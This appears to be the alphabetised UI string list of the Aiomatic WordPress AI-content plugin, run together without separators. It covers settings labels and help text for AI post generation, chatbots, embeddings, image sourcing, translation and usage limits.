Description Writer:AI Taxonomy SEO Description Writer Model:AI Taxonomy SEO Description Writer Prompt:AI Taxonomy SEO Meta Writer Settings:AI TemperatureAI Temperature:AI Top_pAI Top_p:AI Usage LimitsAI Writer OptionsAI Writer Prompt For Email Sending Awareness:AI Writer TargetAPI Call Cost (USD)API Call CountAPI Key (optional)API Key:API KeysAPI Keys (One Per Line):API Token CountAPI key into the plugin's settings (depending which service you choose). You can do this by going to the 'API keys' tab from above. In this tab you will find also some additional API keys to add, likeAPI key orAPI retry max countAPI usage for this user account: APrice:LowToHighAbove Input FieldsAbsolute Timeframe:Access key (optional)Acquiring the Aiomatic plugin does not include any OpenAI credit. Purchasing Aiomatic grants you access to the plugin's advanced features, but it doesn't cover any API credit. You'll need to buy credit from OpenAI or a subscription from AiomaticAPI separately.ActionActionsActivate Plugin LicenseActiveActive PluginsActivity & LoggingActivity Log:Activity LogsActor Source Image URL:Add A New AI FormAdd A New Form Input FieldAdd A Related Video To The End Of The PostAdd A Related Video To The End Of The Post:Add A Relevant YouTube Video To The ArticleAdd A Relevant YouTube Video To The Article:Add AI Generated Content:Add AI Generated Content: This will automatically append or prepend AI generated content to posts.Add An Image To Each Heading Of The ArticleAdd An Image To Each Heading Of The Article:Add Article Q&A SectionAdd Article Q&A Section:Add Article Table Of Contents SectionAdd Article Table Of Contents:Add New Post SourceAdd Product Images To The ArticleAdd Product Images To The Article:Add Product Titles To Content AsAdd Product Titles To Content As:Add Sections To Content AsAdd Sections To Content As:Add The YouTube Video To The ArticleAdd The YouTube Video To The Article:Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). Example of prompt to pretain the AI --- Article: "%%post_content%%" Discussion: Add a list of headings (one on each line) to use in the generated articles. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Add a list of image URLs (one on each line) to use in the generated articles. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Add a menu nameAdd a new embedding:Add a new form:Add a promptAdd a related YouTube video to the end of to the created post content. This feature will require you to add at least one YouTube API key in the plugin's 'Main Settings' -> 'YouTube API Key List' settings field.Add a time period between the plugin will run importing at a schedule. To disable this feature, leave this field blank. This works based on your current server timezone and time. Your current server time is: Add or remove Post SourceAdd the %%web_results%% shortcode templateAdd the edited promptAdd your embedding rewriter promptAdditional Post CategoryAdditional Post Category:Additional Post TagsAdditional Post Tags:Admins OnlyAdvanced AI API SettingsAdvanced AI Text Generator OptionsAdvanced API Settings:Advanced Prompting OptionsAdvanced SettingsAffiliate Keyword Replacer Tool Settings:AfrikaansAfrikaans (Google Translate)After creating your Pinecone API, create a new index. Make sure to set your dimension to 1536 and also make sure to set your metric to cosine. Enter the generated index ID here.After you've configured all the settings to your liking, make sure to click the "Save Changes" button at the bottom of the page.Afterwards, you need to add yourAiomatic - AI Generated SEO FieldsAiomatic - Automatic AI Content WriterAiomatic AI Content EditorAiomatic AI Product WriterAiomatic ChatAiomatic CronAiomatic EmbeddingsAiomatic ImagesAiomatic PlaygroundAiomatic Shortcodes & FormsAiomatic is a comprehensive WordPress plugin that leverages the capabilities of artificial intelligence to create content, chatbots, images, audio, and more. This all-in-one AI suite includes features such as Custom ChatGPT, Content Creator, Automatic Content Generator, AI Assistant, AI Forms, Image Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, and more, all powered by GPT-3, GPT-3.5 and GPT-4.Aiomatic is a powerful tool that can help you generate high-quality, AI-created content for your WordPress site. Whether you're a blogger, marketer, or simply looking to automate your content creation process, Aiomatic has everything you need to get started.Aiomatic takes your media library to new heights with the AI Media Library Extension. With Extension 1, you can automatically generate alt text, captions, and descriptions for your images, saving you valuable time and effort. Extension 2 brings even more power by suggesting relevant tags and keywords for your media files, ensuring optimal search engine optimization and discoverability.Aiomatic uses this library to resize images and speed up your site's loading timeAiomatic's Support PageAlbanianAlbanian (Google Translate)AllAll Post SourcesAll Rights ReservedAll embeddingsAll filesAll fine-tunesAll formsAlt TextAlternative TextAmazon Associate ID (Optional)Amazon Associate ID (Optional):Amazon Product RoundupAmazon Product Roundup TutorialAmazon Search OptionsAmazon Target CountryAmazon Target Country:AmharicAmharic (Google Translate)An Error Occurred.An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.An error occurred, please try again later!An internal error was encountered, please try again later!And that's it! Your Aiomatic plugin is now set up to automatically edit your posts using AI. Remember, you can always go back and change these settings if you find that the automatic editing isn't working quite how you want it to.AnimalsAnyApparently, there are no updates to show!Append Text To All Textual AI PromptsAppend Text To All Textual AI Prompts:Append To The EndApply For Any RoleApply For Any SubscriptionArabicArabic (Google Translate)Are you sure you want to clear the running list?Are you sure you want to delete all generated posts? This can take a while, please wait until it finishes.Are you sure you want to delete all logs?Are you sure you want to restore the default plugin settings?ArmenianArmenian (Google Translate)Article Intro PromptArticle Intro Prompt:Article Outro PromptArticle Outro Prompt:Article Outro Section Header TextArticle Outro Section Header Text:Article Q&A PromptArticle Q&A Prompt:Article Q&A Section Header TextArticle Q&A Section Header Text:Article Sections PromptArticle Sections Prompt:Article Table Of Contents Section Header TextArticle Table Of Contents Section Header Text:AscendentAsideAssammeseAssammese (Google Translate)Assign WPML/Polylang Language to PostsAssign WPML/Polylang Language to Posts:Attachment SEO Attributes:Attribution LicenseAttribution-NoDerivs LicenseAttribution-NonCommercial LicenseAttribution-NonCommercial-NoDerivs LicenseAttribution-NonCommercial-ShareAlike LicenseAttribution-ShareAlike LicenseAudioAudio Device Profile:AustraliaAuth key (optional)AuthorAuthor IDs:Author Names:AutoAuto Add CategoriesAuto Add Categories:Auto Add TagsAuto Add Tags:Auto Created Embeddings Template:Auto Generate Post Title Based On Topics (Optional)Auto Generate Post Title Based On Topics (Optional):Auto Set A Featured Image For Posts (Select Source Below)Auto Set A Featured Image For Posts (Select Source Below):Automatic AI Written SEO Tags For Media Library Items:Automatic Content EditingAutomatic Editing Of Existing Posts:Automatic Linking OptionsAutomatic Linking TypeAutomatic Linking Type:Automatically Add AI Generated SEO Description To Posts:Automatically Add AI Generated SEO Description To Posts: This will automatically add SEO meta description for posts.Automatically Add Categories To Posts:Automatically Add Comments To Posts:Automatically Add Comments To Posts: This will add related comments to posts.Automatically Add Internal Links: This will automatically add internal links to posts.Automatically Add Links To Posts:Automatically Add Tags To Posts:Automatically Clear Logs After:Automatically Process Posts When They Are:Automatically Run Rules Only Between These Hour Periods Each Day:Automatically Translate Content To:AvailableAvailable shortcodes:AvgCustomerReviewsAymaraAymara (Google Translate)AzerbaijaniAzerbaijani (Google Translate)Azure EndpointAzure OpenAI Endpoint:Back to ListBackground Color:BackgroundsBackup File (*.json)BambaraBambara (Google Translate)BasqueBasque (Google Translate)Be sure to always save settings you change.BelarusianBelarusian (Google Translate)BengaliBengali (Google Translate)BhojpuriBhojpuri (Google Translate)BoldBold and ItalicBosnianBosnian (Google Translate)Bottom of the heading contentBrasilBuildingsBuilt-in - Medium Quality - FreeBuilt-in Keyword Extractor Language:Built-in ShortcodesBulgarianBulgarian (Google Translate)Bulk AI Editing Settings:Bulk AI Post CreatorBulk AI Post Creator Settings:Bulk AI Post Creator TutorialBulk Post CreatorBulk embedding creation might consume a large number of AI model tokens to complete! Be sure you checkBulk post editing might consume a large number of AI model tokens to complete! Be sure you checkBurmeseBurmese (Google Translate)BusinessBuyer Name:By default, the plugin will attempt to translate AI image prompts to English. If you are publishing only English content on your site, you can disable this feature to speed up image processing.CFG Scale:CLI Data Preparation ToolCanadaCancelCannot find this comment ID!CaptionCaption TextCar speakerCatalanCatalan (Google Translate)Category Names:Caution! This is for debugging purpose only!CebuanoCebuano (Google Translate)CenterChange Post Status After Editing:CharactersChatChat End of Conversation Retry Count:Chat Form Height:Chat Form Min-Height:Chat Form Width:Chat Input Placeholder:Chat Input Submit Button Text:Chat end API retry max countChatbot ContextChatbot Context Settings:Chatbot Context:Chatbot Default StylingChatbot Email Extension:Chatbot ExtensionsChatbot FeatureChatbot General Settings:Chatbot Global Injection Settings:Chatbot Location:Chatbot Model Options:Chatbot Model:Chatbot ModerationChatbot Open Icon:Chatbot PreviewChatbot SettingsChatbot ShortcodesChatbot Styling Options:Chatbot Temperature:Chatbot Text-to-Speech/VideoChatbot Text-to-Speech/Video Options:Chatbot Top_p:Chatbot Website InjectionChatbot Width:Check this detailed step-by-step tutorial and also this tutorial video for info on setup and usage of Microsoft Azure OpenAI API in Aiomatic.Check this tutorial video for details about the usage of this feature.Check The Tutorial Videos From The Above Tabs!Check and verify added embeddings and manage them to be sure they are correct.Check for updatesCheck the Statistics page Check this checkbox if the above API key is a DeepL free plan key. If it is a PRO key, please uncheck this checkbox.Check this link for detailsCheck this to force the plugin to make draft posts before they would be fully published. This can help you you use other third party plugins with the automatically published posts.CheckboxChichewaChichewa (Google Translate)ChineseChinese SimplifiedChinese Simplified (Google Translate)Chinese TraditionalChinese Traditional (Google Translate)Choose from the most used Post SourceChoose how often you want to automatically check for old posts. This will change the cron scheduling time.Choose if you want to automatically clear logs after a period of time.Choose if you want to improve royalty free image importing, using the below services. These will extract keywords from the original text and provide better image quality results. If you select TextRazor, you also need to enter a TextRazor API key below. If you select OpenAI, you also need to enter a prompt for OpenAI keyword extraction, below. To enable TextRazor to be selected, please enter an API key for TextRazor below.Choose if you want to receive a summary of the rule running in an email.Choose if you want to require only one word from the 'Required Words List' for the post to be accepted.Choose if you want to skip checking for duplicate post titles when publishing new posts. If you check this, duplicate post titles will be posted! So use it only when it is necesarry.Clear DataClear Running Rules ListClick here to get the pluginClick on the 'OpenAI Status' tab in the 'Limits and Statistics' section. Here, you can see reported incidents from OpenAI's part and their API service status. This can help you troubleshoot any issues with the AI services provided by the plugin. Remember, the 'Limits and Statistics' feature is a powerful tool for managing and monitoring the usage of the Aiomatic plugin. By understanding how to use this feature, you can ensure that your AI services are being used effectively and responsibly.Click on the 'Usage Graphs' tab in the 'Limits and Statistics' section. Here, you can view graphs that represent the call count, used token count, usage cost, and generated AI image count. These graphs provide a visual representation of the plugin's usage over time, helping you understand usage trends and patterns.Click on the 'Usage Limits' tab in the 'Limits and Statistics' section. Here, you can set usage limits for both logged in and not logged in users. You can set limits based on token usage, price usage, or call count usage. You can also create usage limiting rules. For example, you might limit the number of requests a user can make in a given time period. The Aiomatic plugin can be integrated with the 'Ultimate Membership Pro' plugin. This allows you to set different usage amounts for members who have joined different membership plans. You can also limit usage based on user role. For example, you might allow administrators to make more requests than regular users.Click on the 'Usage Logs' tab. Here, you will see a table with the following columns:Clip Guidance Preset:Close panelCodeRevolutionColsComma separated list of post IDs to edit.Comment CountComment E-mail List:Comment Replier:Comment URL List:Comment User Name List:CompletedCompleted ConversionsCompletionComputerConfused about rule running status icons?ContentContent EditingContent LanguageContent Language:Content ParametersContent PromptContent Prompt:Content TemplatesContent and TitleContinue Creating Posts With AIConvertCopy AI Generated Images Locally to Your Server:Copy The Taxonomy DescriptionCorsicanCorsican (Google Translate)Craft an enticing and succinct meta description in English for your WordPress %s: "%s". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.Create Fine-TuneCreate a captivating and comprehensive English description for your WordPress %s: "%s". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %s that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.Create a captivating and concise SEO title in English for your WordPress %s: "%s". Boost its search engine visibility with relevant keywords for maximum impact.Created AtCreated At:Created Content Minimum Character Count:Credit TypeCroatianCroatian (Google Translate)Current thumbnailCurrently supported models to be used in shortcodes:Currently, as the AI editor is in beta, it might have difficulties editing longer texts. If you encounter this issue, you can limit the chunk size which is sent to the AI editor (in characters). Leave this blank if editing works well in your case.Currently, because of an issue with the AI editor, sometimes it might remove parts of the HTML content you send to it for editing. The Aiomatic plugin can check if this happens and not change the post in these cases. If you check this checkbox, the edited content will be published, even if it misses some HTML tags. Do you want to publish edited content even if the AI editor removed some or all HTML content from the text?Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => text-davinci-003 @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%Custom Chatbot BuilderCustom HTMLCustom HTML #1Custom HTML #2Custom HTML Code #1:Custom HTML Code #2:Custom HTML Code/ Ad Code:Custom Model NameCustom NameCustom Shortcode Creator (Optional)Custom Shortcode Creator (Optional):Custom field deleted.Custom field updated.CzechCzech (Google Translate)D-IDDALL-E 2 Image GeneratorDDIMDDPMDOMDocumentDOMDocument is required for the Fusion Builder plugin to properly function.DOMDocument:Dall-E 2 ImageDanishDanish (Google Translate)Data ConverterDataset (*.csv)Dataset (*.jsonl)DateDate Posted AscendentDate Posted DescendantDate Taken AscendentDate Taken DescendantDate Time Format1Y-m-d H:i:sDayDay Query:DeepL Translator Authentication Key (Optional)DefaultDefault API ParametersDefault API Parameters:Default Chat Mode:Default Featured Image ListDefault Featured Image List:Default TemplateDefine the link you want to appear the defined keyword. Leave this field blank if you only want to replace the specified keyword without linking from it.Defines the maximum length of a variable that is registered through a POST request.DelDelay Article Editing By (Seconds):Delay Between Multiple API Requests:DeleteDelete All EmbeddingsDelete All FormsDelete All Generated PostsDelete All Posts Generated by this Plugin:Delete LogsDelete Selected EmbeddingsDelete Selected FormsDelete this field?Depending for which feature are you looking for, be sure to navigate to the respective menu of the Aiomatic plugin, wehre you will find a 'Tutorial' tab for each of the features available in the plugin. There you will find also a tutorial video, with detailed description of the feature you are setting up.DescendentDescriptionDescription TextDetailed System Info:DhivehiDhivehi (Google Translate)Disable AI Assistant:Disable AI Writer Usage To Get More Headings:Disable Bing Search Scraping To Get More Headings:Disable Editing of 'Custom Post Types':Disable Editing of 'Pages':Disable Editing of 'Posts':Disable Editing of Selected Categories:Disable Editing of Selected Tags:Disable Media Library Extension:DisabledDismiss This Message ForeverDisplayed on attachment pages.Displays whether or not WordPress is in Debug Mode.Do Not Add Inexisting CategoriesDo Not Add Inexisting Categories:Do Not Add Inexisting Tags:Do Not Add a CategoryDo Not Check For Duplicate Titles:Do Not Randomize Royalty Free Image Results Order: Do Not Randomize Royalty Free Source Order, But Use The Below Order: Do Not Search By Photo LicensesDo Not Spin Content, Only Title:Do Not Spin Posts Generated By This RuleDo Not Spin Posts Generated By This Rule:Do Not Translate Posts Generated By This RuleDo Not Translate Posts Generated By This Rule:Do you enjoy our plugin? Please give it a rating on CodeCanyon, or check our website for other cool plugins.Do you want delay automatic editing of the posted article with this amount of seconds from post publish? This will create a single cron job for each post (cron is a requirement for this to function). If you leave this field blank, posts will be automatically spun on post publish.Do you want to automatically add post categories from the feed items?Do you want to automatically add post categories from the generated items?Do you want to automatically add post tags from the feed items?Do you want to automatically add post tags from the generated items?Do you want to automatically translate generated content using Google Translate?Do you want to copy AI generated images locally to your server?Do you want to delete this rule?Do you want to disable automatically editing of WordPress 'custom post types'?Do you want to disable automatically editing of WordPress 'pages'?Do you want to disable automatically editing of WordPress 'posts'?Do you want to disable automatically editing of WordPress categories?Do you want to disable the AI assistant feature of the plugin?Do you want to disable the Media Library extension of the plugin?Do you want to enable broad search for royalty free images?Do you want to enable comments for the generated posts?Do you want to enable detailed logging for rules? Note that this will dramatically increase the size of the log this plugin generates.Do you want to enable global usage limits?Do you want to enable logging for rules?Do you want to enable pingbacks and trackbacks for the generated posts?Do you want to enable pingbacks/trackbacks for the generated posts?Do you want to enable swear word filtering for created content?Do you want to enable text-to-speech usage limits?Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images?Do you want to enable this plugin? You can deactivate any rule (you don't have to delete them to deactivate them).Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).Do you want to enable usage tracking for statistics and usage limits?Do you want to not skip importing the aritcle if no royalty free image found for the post?Do you want to not spin content (only title)?Do you want to protect HTML tags in edited text? This will add to the prompt you enter, a phrase which specifies to protect HTML tags from the edited text.Do you want to randomize text by changing words of a text with synonyms using one of the listed methods? Note that this is an experimental feature and can in some instances drastically increase the rule running time!Do you want to replace the royalty free image with an AI generated image?Do you want to rewrite also post URL with the modified title?Do you want to rewrite content using AI before sending it to the embedding?Do you want to rewrite content using AI before sending it to the embedding? This will rewrite the %%post_content%% in the 'Embedding Template' settings field - so be sure to use the %%post_content%% shortcode in the 'Embedding Template' settings field, if you are wanting to optimize the content for it using this feature. You can use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field is: Revise the given content concisely, preserving its style and information, while ensuring the revised text stays within 300 words. Each paragraph should range between 60 to 120 words. Exclude non-textual elements and unnecessary repetition. Conclude with a statement directing readers to find more information at %%post_url%%. If these guidelines cannot be met, send an empty response. The content is as follows: %%post_content%%Do you want to run manual post editing, now? Please check configuration from below before clicking 'Run Post Editing'.Do you want to run this rule now? Note that only one instance of a rule is allowed at once.Do you want to set a custom post publish date for posts? Set the range in the below field.Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Main Settings' menu -> 'Royalty Free Featured Image Importing Options' section.Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Main Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.Do you want to set a maximum price for the imported item? Price is in pennies: 1000 is 10$.Do you want to set a maximum price for the imported items? Price is in pennies: 1000 is 10$.Do you want to set a minimum price for the imported item? Price is in pennies: 1000 is 10$.Do you want to set a minimum price for the imported items? Price is in pennies: 1000 is 10$.Do you want to skip post content editing?Do you want to skip post excerpt editing?Do you want to skip post title editing?Do you want to skip spinning of posts generated by this rule?Do you want to skip translating of posts generated by this rule?Document rootDogriDogri (Google Translate)Don't Add SectionsDon't Attempt To Translate AI Image Prompts To English:Don't Process Same Post Twice:Don't Send Maximum Tokens In API Request (Experimental):Don't checkDon't have an 'ChimpRewriter' account yet? Click here to get one:Don't have an 'ContentProfessor' account yet? Click here to get one:Don't have an 'SpinRewriter' account yet? Click here to get one:Don't have an 'SpinnerChief' account yet? Click here to get one:Don't have an 'The Best Spinner' account yet? Click here to get one:Don't have an 'WordAI' account yet? Click here to get one:Don't show this widgetDone!Download Current Forms To File:Download DataDownload NowDownload the plugin hereDownload to CSVDraftDraft -> ModerateDraft Posts First, And Publish Them Afterwards:DraftedDuplicateDuplicate Checking Custom Field Name (Optional):Duplicate This RuleDutchDutch (Google Translate)EditEdit Created PostEdit Post SourceEdit/Add AI Content!Editing API Settings:Editing Templates and OptionsEditor's Choice: Editors & AdminsEducationEgyptElevenLabs.ioEligible Images Rank At Most At Position: EmailEmail Address:Embedding Content Rewriter Model:Embedding Content Rewriter Prompt (%%post_content%%):Embedding draft updated.Embedding published.Embedding restored to revision from %sEmbedding saved successfullyEmbedding saved.Embedding scheduled for: %1$s.Embedding submitted.Embedding updated.EmbeddingsEmbeddings Model:Embeddings are a way to send to the AI content writer a set o pre-trained data, to give it more context about the question or prompt which was submitted to it, for which a response is awaited. These embeddings can help the model better understand language and the requirements sent in the prompt.Empty results.Enable AI Content Rewriting:Enable AI Content Rewriting: This will enable the editing and rewriting of the content.Enable AI Internet Access For:Enable AI internet access for the following features of the plugin.Enable Automatic Processing Of All Newly Added Taxonomies For:Enable Chatbot HTML Responses:Enable Chatbot Instant Responses:Enable Chatbot Text-to-Speech/Video:Enable Chatbot Voice Input:Enable Comments For PostsEnable Comments For Posts:Enable Detailed Logging for Rules:Enable Embeddings Auto Indexing For Newly Published:Enable Embeddings For:Enable Featured Image Assignation:Enable Featured Image Assignation: This will automatically assign a featured image to the published content.Enable First-Hand ExperienceEnable First-Hand Experience:Enable Global Usage Limits:Enable Google Images Search Usage: Enable Logging for Rules:Enable Message Copying By Clicking It:Enable Persistent Chat Also For Not Logged In Users:Enable Pingback/TrackbackEnable Pingback/Trackback:Enable Pixabay Direct Website Scraping: Enable SEO Meta Description Writing:Enable Swear Word Filtering:Enable Text-to-Speech Usage Limits:Enable The ChatBot To Send Emails:Enable Unsplash API Usage: Enable Usage Tracking For Statistics And Usage Limits:Enable User Message Moderation:Enable broad image search: Enable embeddings for chat.Enable or disable automatic post modifications every time you publish a new post (manually or automatically).Enable or disable this plugin. This acts like a main switch.Enable the ChatBot To Send Emails. Users will be able to ask the chatbot to send emails by providing the recipient, email subject and email content. The plugin will instruct the chatbot to return the content of the email in a specific format, which it will parse and send the email in the chatbot's name.EnabledEnabled Posts Automatic Editing:Engaging with your audience is crucial, and Aiomatic makes it easier with the Comment Replier feature. This handy tool uses AI algorithms to analyze and understand comments on your website, providing you with suggested responses. You can quickly reply to comments, foster meaningful conversations, and provide better user engagement, all with the help of AI.EnglishEnglish (Google Translate)Enjoy exploring Aiomatic's hidden features and maximizing the potential of your WordPress website!Enter API key in Main Settings to enableEnter Your DataEnter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: deEnter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!Enter a manual list of links, where the plugin will create links.Enter the maximum number of products to include in the product roundup article. You can also enter number ranges like: 3-4Enter the maximum number of products to include in the product roundup article. You can also enter number ranges, like: 2-4Enter the number of paragraphs to create for 